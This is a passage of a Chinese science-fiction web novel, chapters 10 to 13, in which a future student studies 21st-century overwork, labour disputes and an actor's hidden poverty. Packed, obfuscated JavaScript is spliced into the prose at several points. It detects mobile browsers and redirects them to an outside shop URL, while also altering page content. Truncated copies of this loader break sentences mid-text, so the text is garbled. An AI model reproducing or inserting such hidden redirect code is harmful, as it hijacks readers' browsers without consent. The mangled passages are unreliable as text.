;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那一幕她印象很深。两个人并排坐在台阶上,手机屏幕照亮脸,困得眼睛都睁不开,却还在讨论路线。 陈绍宁: 【我看着他们很辛苦。】 陈绍宁: 【但又觉得他们在一起好像也挺温暖。】 陈绍宁: 【就是那种…一边难过一边又不忍心把目光移开。】 陈绍宁:【而且这边办公楼的白领也一样,凌晨四点还亮着灯,有人趴在桌上睡一会儿又起来敲键盘,我就觉得…人怎么可以一直这样转。】 消息发完,她长长吐了口气。 终端那边沉默了一小会儿。 林序: 【我懂你在想什么。】 林序: 【但你现在有点被情绪带着走。】 陈绍宁皱了皱眉。 陈绍宁: 【那些画面是真的啊。】 林序: 【当然是真的,但真的不只是一种颜色。】 林序靠在栏杆上,抬头看了一眼远处稳定运转的城市,然后视线才转回终端,继续回复陈绍宁。 林序: 【你看到的是辛苦的一面,但同一个时间线上,也有人在改劳动法条款。】 林序: 【有人在推动加班补偿制度。】 林序: 【有人在为夜班岗位争取轮休标准。】 林序: 【这些东西你不太会注意到,因为它们没有画面感。】 陈绍宁盯着那几行字。 林序: 【世界从来不是只有压榨的一种力量,有问题的地方,也一定有人在试着修复。不然你以为怎么到咱们星际时代就能进入共产主义呢?】 风吹动陈绍宁脚边的花坛,花坛里的草叶随风发出轻轻的摩擦声。 陈绍宁: 【可是那些人当下还是很辛苦。】 林序: 【是,但你不能只能心疼去理解他们,他们不是只在受苦,他们也在生活,也在坚持,也在爱人。】 陈绍宁想到那对坐在便利店门口的情侣,低头笑了一下。 林序: 【你要看到人的痛苦。】 林序: 【也要看到人的韧性。】 林序: 【不然你论文写出来的就只剩下悲伤了,那不是社会学的观察放心吧。】 她沉默了一会儿。 陈绍宁: 【我是不是太容易被带进去。】 林序: 【你共情能力强,这是优点,但研究不是替人流眼泪,你需要输出合理的观点和足够多的论证。】 陈绍宁: 【那我应该怎么做。】 林序: 【换个角度,看到辛苦时,也问一句他们是怎么撑住的。看到不公平时,也看看谁在试着改变它。】 陈绍宁望着终端屏幕,胸口那种闷闷的感觉慢慢散开一点,夜风变得柔软了一点。 陈绍宁: 【那我怎么办?】 林序: 【你就继续看,但记得别只盯着阴影,光也是同一片天空里的东西。】 陈绍宁抬头望向那片被星光覆盖的夜空,她在想林序是不是也早看几千年后的星空。但陈绍宁忽然觉得,刚才压在心里的那股沉重,没有消失,但似乎减弱了不少。 她低头回了句: 陈绍宁: 【好,我会记得把人写完整,不过你怎么这么会讲道理?】 林序: 【因为我不研究人。】 陈绍宁: 【???】 林序: 【我研究动物,不然我大概早就情绪崩溃了。】 陈绍宁忍不住笑出声。 陈绍宁: 【所以你是逃避人类吗?】 林序: 【是理性自保,人类太复杂了,我怕自己看多了会失去判断。】 11. 第十一章 桌上放着一份资料,陈绍宁整个人坐在自己的宿舍的沙发上待着。 资料上的信息她已经看多许多遍了。主要就是说观察型历史课程强调理解历史情境中的人,而非对历史个体进行价值裁决。 谁都不是当下生活的那个人,因此自以为的价值裁决其实是没有任何意义的。 【观察型历史课程报告需以客观记录、情境还原与结构分析为基本原则,避免情绪化判断及个体道德评价。学生应重点描述观察对象所处的社会环境、行为选择及其与时代结构之间的关联。】 资料内明确了观察型历史课程提交课后报告的明确要求,并且也设定了需要在报告中包含的要素信息。 比如明确的观察时段与空间背景、关键行为记录情境压力来源、个体回应方式,以记录的内容来进行初步结构判断,并提出该现象可能反映的时代共性问题。 但任何观察型历史课的人员都不能对观察对象进行品格定性,观察的样本和时间不够,亦或是观察者本身抱有既定的观点都会影响观察型课程。 “ 人要是真的能控制住自己不去评价别人就好了。” 陈绍宁依靠在沙发里,整个人发呆一样看着桌上的资料。 她靠在沙发上,整个人陷在软乎的体感里沉沉睡去,等她在有意识,人就在地铁站口。 风从隧道深处吹出来,带着凉意。她下意识把外套拉紧,低头看时间,心里想着再看一会儿就回去写周报。 一切都和白天没什么两样,连脚下地面的触感都清晰得不像梦,她甚至还在担心,明天会不会起晚。 陈绍宁背着一个旧帆布包,拉链没有完全拉上,里面露出一角文件夹。她走得不快,却始终没有停下,像是在用某种稳定的节奏抵抗疲惫。 周围都是人,但这周围的任何一个人都不会太观察对方,老话说想看清楚某个人,就不要靠得太近。 太近了,会被对方的节奏卷进去; 太远了,又看不见细节。 地铁站里人很多。 下班高峰刚刚开始,人群在闸机口短暂堆积,又被迅速放行。 陈绍宁刷卡进站的时候,手指明显顿了一下,像是在确认余额。确认成功后,她几乎是松了一口气,才继续往前走。 站台上,列车还没进站。 广播重复着安全提示,语气平静而冷淡。人们站在黄线后面,低头看手机,或是闭目养神。没有人交谈。 陈绍宁站在队伍中间,把包换到另一侧肩膀上,然后从文件夹里抽出几页纸,摊开在手心。 简历。 投简历,找工作。 这就是陈绍宁最近的事情,这个简历不是她 第一次修改的版本。每一次投递不同的岗位,她都在写不同的内容,到现在原版的纸张边缘已经有些软,字体密密麻麻,明显经过多次增补。 面试的第一个问题就是自我介绍,陈绍宁知道那意味着她的简历其实也没有被怎么认真查看了。 陈绍宁的嘴唇轻轻动着,几乎没有发出声音。 “工作经验……项目协助……执行……” 她在背自己的简历,现在这个时候也不是为了展示给别人。更像是在对自己进行一种确认,多次来认证自己确实做过这些。 列车进站。 人群一拥而上,车厢很快被填满。陈绍宁被挤到角落,却依旧低头盯着简历,她背到一半,忽然停下来,眉头皱起,又迅速低下头,从头开始。 陈绍宁很害怕自我介绍在某一个节点卡住。因为面试的时候一旦卡住,努力这件事就会显得不完整。 车厢启动,轻微的晃动让人不得不抓紧扶手。陈绍宁把简历重新塞回包里,腾出一只手握住吊环。 她的对面,坐着一个年轻女生。 女生把电脑放在膝盖上,屏幕亮着,光映在她脸上。她的手指在键盘上敲个不停,几乎没有停顿。 邮件、表格、批注。 陈绍宁只能看到女孩的表情,看不到电脑上具体内容,却能感受到那种紧迫。 车厢并不安静,却也谈不上嘈杂。大多数声音都被控制在不会引人注意的范围内。 可就在这时,不远处忽然传来一阵低声的自语。 “不是我……我没有……” “他们搞错了……” 一个中年男人站在门边,神情恍惚,他的头发有些乱,衣服皱巴巴的,手里攥着一只塑料袋。 他并没有大声喊叫,只是断断续续地重复着一些话。像是在为自己辩解,又像是在反复回放某个已经发生过的场景。 周围的人下意识往旁边挪了一点。 没有人呵斥,也没有人安慰。 他们太熟悉这种状态了,只要人能不真正失控,这节车厢就会选择无视他的一切情绪,允许他在公共场合里表达情绪。 陈绍宁有点奇怪,为什么今天遇到这么多事情让她有一种难以说明的情绪,还不等她梳理好自己的想法,身边的一个女生正压低声音打电话。 “我知道流程。” “可是他们一直拖。” “对,我已经提交了材料。” “ 这个事情就是你们劳动监察的工作,没必要到劳动仲裁委员会处理。” 她的语气努力保持冷静,却在说到仲裁两个字时,明显顿了一下。 “我没必要闹事。”她急忙补了一句,“我只是想要我应得的,这是法律应该保护我的部分不是吗?” 电话那头似乎说了什么。 她沉默了几秒,才低声应道:“好,我再等等。” 电话挂断。 她把手机放下,目光空洞地看向车厢另一侧。 陈绍宁坐在她的身边,忽然产生了一种极其强烈的错位感。 这里的很多人都在努力。 没有一个人是无所事事的。 可这些努力,似乎并没有把他们带向任何明确的方向。 列车行驶在黑暗的隧道里。 窗外什么都看不见,只有偶尔闪过的灯光,提醒人们还在前进。 努力本应该是一个被高度褒义化的词,它意味着自律,上进,值得肯定。可站在这里,她第一次意识到努力,本身并不指向回报。 它只是一个持续消耗的动作就像跑步机,无论人跑得多快,风景都不会改变。 可是为什么会这样呢? 陈绍宁没有答案。 只看着隔壁位子的女生手机上打开一份新的简历。这一次她没有再背,而是盯着某一行看了很久。 那一行可能是她最引以为傲的经历,也可能是最容易被质疑的部分。 她的手指微微用力,陈绍宁看着她忍不住皱起眉。 她想不明白。 如果努力没有问题,如果每个人都在拼命生活,那为什么结果会是这样? 为什么这么多问题会同时出现? 不是个例。 而是叠加。 求职,加班,纠纷,它们像是同一条河流的不同支流,最终汇聚到同一个地方。 列车减速。 广播报站。 人群开始移动。 女孩在下车前,把简历重新整理好塞回包里,她站起身的时候动作很稳,像是已经习惯了这种在拥挤中保持平衡的方式。 下车的人群很快把她吞没。 陈绍宁站在车厢里,看着新的面孔补上空缺。 新的疲惫,新的努力。 她忽然意识到一个更令人不安的事实,这个系统一直都并不缺努力。 它缺的是托住努力的结构,曾经很长一段时间存在这样的结构,但很长一段时间又消失了。 列车再次启动,她只是坐在在车厢位子上,看着一张张脸在灯光下闪过,她在这个时代里就找不到答案。 但她不在这个时代里,找到了答案似乎也改变不了什么… ——— “真的没想到,你做梦都是自己的论文啊?” 陈绍宁的宿舍门在轻微的气压声里滑开时,林序正靠在走廊的光带旁等她看着人出来,陈绍宁的眼睛下面都带着黑眼圈,林序忍不住笑起来打趣她。 “走吗?”林序抬了抬下巴。 “去天台?”陈绍宁已经猜到了。 “今晚云层稀薄,观景指数高。”林序晃了晃手里的终端,“而且调酒系统刚更新了两款无酒精星雾饮。” 陈绍宁笑了一下,抓起外套跟上她。 天花板嵌着流动的星轨投影,像一条缓慢旋转的银河,从走廊这头一直铺到另一头。 地面并不反光,却带着柔和的荧蓝色光线,脚步落上去几乎没有声音。 从宿舍到电梯没有几分钟,电梯是半透明的观景舱,舱门合拢后,外壁逐渐变得清晰,整栋宿舍区的中庭在脚下展开。 植被层层叠叠,从地面一直攀到高层露台,水循环系统在绿植间悄无声息地运作,细小的水雾在灯光下泛着淡光。 电梯上升的过程几乎没有失重感,只是周围景色缓慢下沉,像城市在温柔地退远。 “我小时候还以为未来的宿舍会像金属罐头。”陈绍宁说。 “我们祖先也这么以为。”林序笑,“结果最后发现,人类还是需要树和风。” 天台的门在她们靠近时自动识别身份,透明隔离层轻轻分开,外面的夜色一下子铺进来。 这里不像传统意义上的屋顶,更像一个半开放的高空花园。 地面是微弹性材料,踩上去有种很轻的回弹感。四周没有护栏,而是一圈无形的力场边界,把空气流速控制在舒适范围内。 远处的城市灯光分布得很疏,不是密密麻麻的高楼,而是一片片功能区散落在夜色里。 能源塔的光柱稳定地向上延伸,与天空中的星群投影形成奇妙的呼应。 夜晚的校园比白天更像一座真正漂浮在宇宙边缘的城市。 “你不觉得轨道交通主环。”林序指了指远处一道流动的细光线,“看久了像是在呼吸吗?” 陈绍宁靠近边缘,脚下是几百米的高度,力场轻轻托住气流,连头发都只是微微晃动。 天台中央有一个半弧形的调酒台,没有服务人员,只有一整面光滑的操作界面悬浮在空中。几位学生正围在那里,看着自己的饮品在透明杯中慢慢形成。 “来试试。”林序拉她过去。 陈绍宁把终端靠近识别区,界面立刻浮现她的生理数据和偏好选项。 “今晚推荐冷辉星尘。”系统声音温和,“低糖、舒缓神经、无酒精。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“谢谢你拉我上来。”陈绍宁喝了一口后忍不住说,“我现在做梦都是那几个人的事情。” “怕你又把自己泡在别人的故事里出不来。”林序笑。 陈绍宁轻轻点头。 在几百米高的天台上,城市里微凉的空气落下来,陈绍宁觉得心里的那点沉重似乎分担走了一点点。 调酒没有多少,几口喝完之后林序把终端往口袋里一塞,冲陈绍宁抬了抬下巴:“走,散散步吧,从你结束第二次观察型历史课那天到现在,你闷在宿舍写报告好久了。” 两人从生活区的连廊走出来,脚下的地面带细微弹性的合成材质,踩上去很轻,走久了也不会累。 地面里嵌着细细的光带,顺着人流方向缓慢流动,像是在提醒这边是主通行线。 “以前的人上大学,脚底下都是水泥路。”陈绍宁问。 “还有更早之前,陆地都是泥巴,那才都是坑。”林序一本正经,“下雨天全是泥。” 陈绍宁笑出声。 连廊尽头豁然开朗,是校园中层的公共绿地是一套完整的生态系统。 矮树、藤蔓和低层植被错落交织,中间有一条细水渠缓缓流过,水面上偶尔浮起一圈数据光纹,那是水质监测系统在实时运作。 远处几栋教学楼半透明的外墙在夜色里透着柔光,根据教室使用情况分区发光,从外面看像几块漂浮的光盒子。 两人顺着步行带往研究区走。 身旁不时有低空轨道舱无声滑过,舱体是流线型的银灰色,速度不快,像漂浮在空气里的泡泡。 “要坐吗?”林序问。 “走走吧。”陈绍宁说,“最近脑子用太多,腿还没动过。” 她们穿过一片开阔广场。 地面中央投着缓慢变化的星图,是实时天文数据的可视化投影。 几个学生坐在边缘讨论课题,脚边就是一整片旋转的星系。 “天文系的学生抬头是宇宙,低头也是宇宙。”林序说。 “压力会不会很大?”陈绍宁问。 “还好吧,”林序耸耸肩,“反正宇宙也不会催你交作业。” 两人说着话就往前继续走,再入眼的整栋建筑像一块静静悬着的透明晶体。 建筑内部的书架和阅读区层层叠叠,却几乎听不见翻页声。隔音场把噪音压得很低,连走路都像踩在棉花上。 “这里最可怕的是,一待就忘记时间。”林序小声说。 “没有人催离开,想要学习到什么时候都可以。 ”陈绍宁看着里面的人,有人靠着窗看资料,有人干脆闭着眼休息。 两人最后走到教学区边缘的小桥上。 桥下是通向生态区的垂直绿井,灯光从植物间透上来,空气带着一点湿润的草木味。 远处的能源塔在夜色里发着稳定的光,像城市的心跳。 “有时候我会忘了,”陈绍宁轻声说,“不是所有时代的人都能这样散步。” 林序看了她一眼,语气却很轻松:“所以你才要多看看,然后好好写下来。” 风从桥上吹过,两人并肩往回走,脚下的光带缓缓向前流动,像在默默陪她们走完这一圈校园。 陈绍宁还想继续往前走,但终端上显示了新的信息,她连忙打开阅读。 来信一条是第三次观察型历史课程申请通过,另外一条是教授更新的课程信息。 “在下一次课程开始之前,请各位同学及时修完辅助选修的《观察型时空历史课入门》前三次课程。并且提交第一次完整的报告信息给我,其中需要明确自己的观察对象和方向,期待大家的论文能顺利完成,下期课程再见。” 12. 第十二章 熬夜这个事情应该是人类无法放弃的。 陈绍宁和林序分开后回到了宿舍,但她也没有任何睡意,只是看着眼前的终端上的数据库,陈绍宁又重新调出信息。 终端有显示时间,这会是凌晨一点。 不知道是不是天天看到很多过去人的事情,陈绍宁也跟着睡不着了,眼神是一直盯着终端,脑袋里不知道在想着什么。 除了自己整理信息,还需要用星际历史课配套的标准资料库导出内容一起提交。资料库的界面简洁,所有数据都被归纳成清晰的曲线和平均值。只要输入关键词,系统就会自动生成一段客观描述。 陈绍宁输入了演员收入二十一世纪初。 屏幕很快亮起。 平均年收入,中位数,头部与腰部比例,行业增长曲线。 包括很多暗线收入进出都没有任何的隐瞒。 每一条数据都无可挑剔。 总结信息中说明是整体收入水平高于社会平均线,属于高风险、高回报职业。存在明显的头部集中现象。 系统给出的结论是算得上审慎,只看这些内容,很容易得出一个结论大概就是演员这个职业,本身并不值得同情。 陈绍宁盯着那条中位数看了很久。 中位数,是一个很聪明的数字。 它不会像平均数那样,被极端高值拉得过于夸张,也不会像最低值那样,显得过分悲惨。 它看起来很公平。 可她已经亲眼见过孟余的生活。 很便宜的棉服,看起来也没有多好的住处,但大部分钱都给福瑞买了猫罐头,再有的钱都是大额支出到各种公益活动,遇到被欺负的其他演员的粉丝也一样会出头帮助她们。 看得出来他不是挥霍型的人,甚至温良恭俭让这几个词形容孟余也是合适的,他的一生完全算不上能定为高回报职业的缩影。 她重新调出了他的资料。 系统显示,他参与过多部影视作品履历算得上完整,有很明显空白期集中在一定的时间内,按照统计模型,他应该属于稳定从业者。 可现实是他在节衣缩食。 偏差是偶然吗? 陈绍宁心里有好奇就会开始对比更多数据。 演员 A收入可观,演员 B片约不断,演员 C商业价值稳定。 可当她把这些名字一个个拆解,拉进现实场景里,就会发现他们几乎都处在被看见的那一端。 数据库里的演员是被统计到的演员,而真的去过过去之后,陈绍宁知道现实中的演员,还有大量处在统计边缘的人。 很多演员有作品,有工作记录却没有稳定的现金流。因为收入并不是按是否工作结算的c而是按是否被使用。 拍过戏不代表钱按时到位,播出过作品不代表分账透明,有姓名也不代表话语权存在。这些变量,没有一个会完整地出现在宏观数据里。 陈绍宁开始意识到一个问题,数据并不是在说谎。 它只是在选择可见的部分。 她继续往下查。 演员的平均收入里,是否包含了经纪公司抽成?是否扣除了培训费用、造型费用、维持曝光的隐性支出?是否考虑了项目取消、拖款、账期延后? 还有很多更为隐蔽的东西,系统没有回答这些问题。 因为这些问题,本身就不在统计范畴内。统计只记录已经发生,已经结算,已经确认的数字。 而那些处在灰色地带的部分,被默认视为个体差异,而个体差异是一个非常便利的词,它可以解释一切,又因为关联众多而不需要追责任何人。 陈绍宁忽然想起,在地铁里见过的那些人。 求职者、加班者、处理劳动纠纷的人他们也都有工作记录, 可他们的疲惫,并不会出现在就业率里,她终于明白,为什么这些现象长期存在,却始终不被当成问题。 因为从宏观视角看系统是运转良好的。 演员行业有产出,城市在增长,内容持续被生产。 个体的困顿,被稀释进了整体曲线里。而且还有更隐蔽的一层。陈绍宁意识到,这些原因之所以看不到,并不只是技术问题。 还有一种叙事选择。 在曾经的某个时代,成功案例被不断放大,失败路径则被解释为个人问题。 如果你赚不到钱,是因为你不够红;如果你被拖欠,是因为你不够重要;如果你节衣缩食,是因为你规划不当。 这种解释方式把一切问题,都只推回到个体身上,于是人们开始用极端案例来反驳整体问题。 “也有人过得很好。” “头部演员收入很高。” “你不能因为个别情况否定整个行业。” 这些话在逻辑上成立。 可在现实中,它们遮蔽了最重要的一点不是所有人,都在同一个起跑线上。 苦难,生活的苦难或者工作的困难被克服了,并不值得被歌颂。 那不是一种美德,而是一种被迫的自我保护。 发现为什么还有这些苦难,并且努力把这些苦难消除掉才是应该去做的事情。 可是为什么有人必须这样做,才能勉强站在原地? 她继续翻阅资料。 平台分账规则,项目结算周期,风险共担的行业条款。 这些条款在文本里看起来极其合理。 风险共担意味着共同承担不确定性;灵活用工意味着提高效率。可当这些规则落在具体的人身上时,它们就变成了另一种东西。风险被下沉到最弱的一端;灵活意味着随时可被替换。 而这些细节很少被写进行业概况,因为它们太具体了。具体到无法被概括,具体到会引发责任问题。 看见是有代价的。 修改被看见的内容也是一件非常昂贵的事。 相比之下把问题归为个人选择要轻松得多。 陈绍宁关掉数据库,屏幕暗下来的那一刻,她感到一种前所未有的沉重。 她终于明白,历史教材为什么会在旧蓝星时代反复强调结构性死亡,大概就是系统在统计意义上是成功的,却在生活层面持续制造沉默的消耗。 孟余只是其中一个。 那些在数据里消失的人才是大多数。 她站在房间里,忽然意识到一件事如果只相信宏观数据,就永远无法理解,为什么那么多人,会在看起来不错的时代里,感到无法呼吸。 而她继续观察下去的理由,也在这一刻变得清晰起来。 “但是… 演员的收入总是比其他行业高很多,但是演员又好像是一切难说之事的表象。难说的事情也太多了,在旧蓝星时代之前就一直存在。” 陈绍宁自言自语着,她甚至在想,或许她生存的时代没有一模一样的难说之事,但或许会诞生什么新的难说之事。 那等她死亡后的几百几千年之后,是不是也有人会观测她的时代会发生什么事情? “有可能我也会被观测?” 陈绍宁想到这,倒是先把数据库关闭。 “可以了,人类一直在进步了,现在都没有信息差这种东西,历史也是完全透明地能查询一切,我一个学生,今天晚上就不想那么多了,还不如早早睡觉。” 人类总是想的太多,但不在这一时。 陈绍宁这样劝慰自己,但人躺在床上的时候,还是忍不住想起来工资和劳动内容的对比。 但越想越觉得复杂,最后倒是明白了演员这个行业最后消失也不算是坏事情。 “ 不算坏事吧,不算……” 陈绍宁还是迷迷糊糊地睡着了,这一次没有梦境,一觉睡到天明。 ……… “ 咱们公共文明学有很多课程,希望大家在课程内明白,我们不是研究人类有多惨,更多事研究在经历过那些惨痛历史之后,人类是如何学会不再让同样的事情发生。因此不要限于一种历史论调里,需要全面地看待事情。” 陈绍宁用终端语音播放着这学期开学时,学科教授给全专业学生发布的邮件,而陈绍宁闭着眼睛刷牙洗脸,她就是明显感觉到自己有陷入一个论调的危险,这不是一个公共文明学专业学生该有的状态。 “ 只有社会实践和历史课程的深入调查,才是人们对于外界认识的真理性的标准。旧蓝星时代有一位著名的伟人说的对,通过实践而发现真理,又通过实践而证实真理和发展真理,实践和认知是在循环中前进的,是螺旋式上升的,同样没有调查,就没有发言权。(1 我期待学生们需要重视调查研究,在经过足够的观察型历史课程之后,最后结论要基于足够多的观察型历史课程,这是大家对事物认识加深的过程,也是解决问题的过程。 ” (2 邮件的内容被一字一句读出来,陈绍宁这几天的情绪也跟着平稳下来。 “个体的痛苦需要被看到,但我是在星际时代的人,我改变不了个体的痛苦,我需要看到个体的痛苦和群体的改变,我需要明白微观和宏观的结合… ” 陈绍宁的嘴巴里全是牙膏沫,但不耽误她说出来多看多听多思考,审慎说话的态度。 清晨起的有点早,其实睡眠状态也没有很好。 “今天的课是什么来着?” 临出门前,陈绍宁翻看今天的课表,终端上是星际联合大学公共文明学核心课程的内容,比如什么《历史情境中的个体能动性》、《情绪劳动史与社会认知演变》、《制度修复史:人类如何修正自己的错误》、《记忆伦理与历史观看边界》、《文明心理学:集体创伤与社会韧性》 这种专业课需要去教室上小课,而大课就只要在终端上进入全息课程更为方便。 陈绍宁背着包出门时,地面的导光带已经切换成浅金色,提示早高峰步行方向。 走廊尽头的观景电梯正好停在这一层,陈绍宁走进去,舱壁透明,外面的绿植层一层层向下展开,水循环管道里细流反着光。 电梯几乎没有震动,像被空气托着缓缓下降。 出楼之后,是连接宿舍区与教学区的立体步行廊。 廊道两侧的植物正自动调节叶片角度,让晨光能更均匀地落下来。 几个学生一边走一边在空中滑动终端投影,讨论着专业小课的报告。 陈绍宁没有赶时间,顺着缓行步带往前。 旁边一列低空轨道舱无声掠过,舱体反射着天空的淡蓝色,里面的人正低头看资料。 走到教学区入口,识别系统在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149312|196424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她靠近时自动点亮通行光标。 陈绍宁推开教室门,看着教室里已经到了同学们先打了声招呼,还没来得及说几句话,隔壁教室上课的林序就推门喊陈绍宁。 “ 绍宁,绍宁,你快来一下。” 陈绍宁好奇林序找她做什么,东西扔座位上就跟着一起出门。林序拉着她去走廊尽头,从口袋里掏出来点东西就塞进她的口袋里。 陈绍宁看她的动作,没有贸然把东西拿出来,而是手伸进口袋里摸起来,这个触感和形状,陈绍宁眼睛一亮,“ 你… 怎么弄到的?” “秘密,秘密,千万别说。” 陈绍宁想到了各种型号,但不看一眼其实很难确定,但口袋里有这些东西,陈绍宁眼睛跟着亮了几分。 离上课还有几分钟,林序一边靠近她,眼神也不忘看看周围,最后才在她耳边小声说着,“ 千万别拆开,下次拿着一起,有人试验过了能带进观察型,你放在什么地方藏起来,但是如果想要用得深度课,所以千万放好。” 陈绍宁果然收回来手,不知道想到了什么,她连忙点头表示赞同:“好!我都听你的!” “要上课了。” 两人感受到终端熟悉的震动,赶紧分开,各自回到自己的教室里。 陈绍宁课上学生只有十三人,是仿照纪元二十一世纪教室样子建造的,墙面没有黑板,只有一层半透明的界面,随着课程开始,资料像水一样铺开。 陈绍宁坐下没多久,教授就推门进来了,神情平静,却带着一点认真到近乎温柔的专注。 “今天我们讲《情绪劳动史与社会认知演变》。”她的声音不高,但清晰,“我们先从一个问题开始——” 她停顿了一下,目光扫过教室。 “什么时候,人类开始承认情绪也是一种劳动?” 教室里有几秒安静。 乔鹤先举手,语气有点犹豫:“大概是……纪元21世纪中期服务业研究兴起的时候?” 教授点头:“对。情绪劳动这个词在当时并不是大众语言,而是学术概念。它最早被用来描述——” 投影里出现一段旧时代影像,比如空乘人员微笑服务,客服在电话那头语气始终温和。 “——那些必须持续管理自己情绪,以满足职业要求的人。”教授说,“他们的微笑,耐心,克制,并不是天生的,而是工作的一部分。” 孙淼淼皱着眉,小声嘀咕:“可那不是礼貌吗?” 教授听见了,笑了一下:“礼貌是自发的,情绪劳动是被期待、被要求、甚至被考核的。” 教室里有学生轻轻啊了一声,像是突然理解了差别。 “当情绪开始被写进岗位说明,写进绩效标准,它就从性格优点,变成了劳动内容。”教授语气变得缓慢,“问题是当时并没有对应的报酬机制。” 陈绍宁低头记笔记,笔尖停了一下。 她想到孟余回粉丝私信的样子,心口轻轻一沉。 教授手势一挥,画面切换。 “第二个领域是粉丝文化中的情绪依附。” 屏幕上出现社交平台旧界面,大量留言、应援视频、深夜长文。 “21世纪的艺人,不只提供作品,还被期待提供陪伴、安慰、理解。”教授语气里带着一点感叹,“粉丝把情绪投向他们,而艺人如果选择回应,就进入了一种双向却不对等的情绪关系。” 乔鹤举手,声音有点急:“但那是自愿的吧?” “是的,”教授点头,“正因为自愿,它更容易被忽略。粉丝的情绪会被忽略,艺人的情绪也会被忽略。”她顿了顿,“自愿不代表没有消耗。” 教室安静下来。 陈绍宁喉咙发紧,手指无意识收紧。 教授继续说:“再者家庭与亲密关系中的隐形照护也是存在的,老龄化很严重,生育率下降,很长一段时间里这种隐形照护都很重要。” 投影变成家庭场景,有人记得家人生日,有人主动安抚争执后的情绪,有人默默承担沟通责任。 “长期以来,这些行为被称为体贴、懂事、会照顾人。”教授语气轻柔,“但它们同样需要时间、注意力和情绪调节能力。” 孙淼淼小声说:“听起来好累……” 教授看向她,眼神很温和:“是的。但当社会只把这些当成性格,而不是付出,付出的人就很难为自己争取边界。” 后排有学生低声说:“那后来怎么被承认的?” 教授笑了一下,像在等这个问题。 “因为太多人累到出问题了。”她语气很平静,“心理学数据、职场研究、家庭冲突统计,让社会不得不面对一个事实——” 她在空中划出一个词,情绪不是无限资源。 教室里没人说话。 教授最后总结:“情绪劳动被看见,仅仅是因为长期忽视的代价,已经大到无法再掩盖。” 她看向学生们,语气缓和下来,“我们研究这段历史,不是为了指责过去,而是为了理解——” “当一个人看起来总是很懂事,总是很温和,也许他正在做一份,从未被写进合同的工作。” 陈绍宁低头,眼眶微微发热,她在想这算是在替很多人,补上一句迟到的确认。 13.第十三章 【 Memory Resonance Tape(记忆共振带) MRT不是回到过去的时间,而是回到录制者留下的记忆空间。但因为过去的记忆足够真实,它会让使用者直接进入那一年录制磁带当下前后真实发生的十五天里。所有的日子既像幻觉又是真实,完全不受官方管理,是最地下的穿越方式。】 陈绍宁回到宿舍,她看着终端上对面前磁带的说明。这些磁带虽然不得官方的承认,但是如果有人要使用也并不会被真的被如何。 终端里有保存个人物品的地方,陈绍宁把MRT放进去,她觉得这个磁带肯定有可以使用的时候,只是至于是什么时候。 现在的她还不确定。 关于自己研究的内容,陈绍宁在星际时代也可以查到过去的信息,她坐在屏幕前,一条一条地往下看。 但是这些评论里写的东西看得越多,陈绍宁越可以感受到一种重量,大概是没想到这么多人都有过一样的经历和感受。 陈绍宁在思考再三直接使用了MRT,比想象中方便的是,终端竟然还可以用。但眼前这个电脑其实也有着一部分终端的功能。 终于在旧时代短暂有机会碰触到物品的陈绍宁立刻调出了属于这个时代的网络平台存档,界面看起来很粗糙,但信息密度极高。 弹窗广告与推荐算法并行运行,一张永远无法真正清理干净的桌面里打开了搜索的软件,她输入了孟余的名字。 不知道是不是被清理掉了什么信息,搜索结果并没有想象中多。 关于他的信息,能搜索到的到没有没有什么铺天盖地的营销,看起来也没有大规模的争议事件。 是因为旧时代平台的时间限定的原因?陈绍宁对此不太清楚,能查到的信息有很多是零散的讨论,还有夹在娱乐新闻和路人闲聊之间。 她点开其中一个话题。 最先跳出来的,是一句看似无害的评价:“明星不缺钱,别卖惨了。” 点赞数不低。 下面有人附和:“拍几部戏就顶普通人一辈子。” “他这种咖位还有什么痛苦?要不换个工作试试?” 陈绍宁盯着那句话,看了很久,一种极其清晰的荒谬感充斥在心里。 “明星不缺钱。” 这句话像是一个万能句式。 就跟“你什么都不会?还不加班表示一下态度。” 一样,这种话它不需要证据,就是表达说话者的态度,不需要区分对象,只要一说出口,就可以立刻终止讨论。 明星确实不缺钱,但也无法就认为其是普通的工作,你一旦承认明星也是普通人,就会被反问: “那你知道普通人相比起来更惨吗?” 一旦提及具体困境,就会被打断:“你们赚得已经够多了,哪里有这么多话,有什么困难自己忍着吧,平常其他工作的人,甚至跟你一起工作的工作人员不是更难?” 这话没有错,但舆论在这里完成了一次极其高效的压缩,把复杂的人生,压缩成一个标签。 有的人进了这个行业,钱没赚多少,命却落在那。 剧组里总是出事故,但多数情况都被掩盖的非常好。 陈绍宁继续往下翻。 有人截取孟余早年的采访,说他选择了这条路,就该承受风险,还有人用他曾经的角色截图,讽刺他戏里风光,戏外还装可怜,也有人直接嘲笑这么多年还没混出来,不就是能力问题? 这种能放在面上的话已经比很多私信温和,换种角度看这些话并不激烈,甚至称不上恶毒,可正因为如此,它们显得更加冷漠。 没有愤怒就意味着没有责任,没有攻击就意味着无法反驳。 陈绍宁感觉旧时代里,人人都可以评价,人人都想掺和进事情里,但是这些舆论并不是通过谩骂来伤人。 而是通过否认,冷嘲热讽。 否认痛苦存在,否认差异存在,否认个体经验的合法性。 她继续看。 在另一条讨论里,有人写道: 我最烦那种明明不红,还一副受害者姿态的演员。 下面有人回复: 对啊,不红就老老实实待着,别出来碍眼。 陈绍宁把这些评论都依次收藏进自己的终端里,这些都是她后期论文里的数据。虽然不是完全理解这时代人们的困难,但她觉得该收集的内容还是不能忘记的。 她手上的东西搜索的很迅速,只是看到一半, 陈绍宁的手指停住了。 她想起孟余。 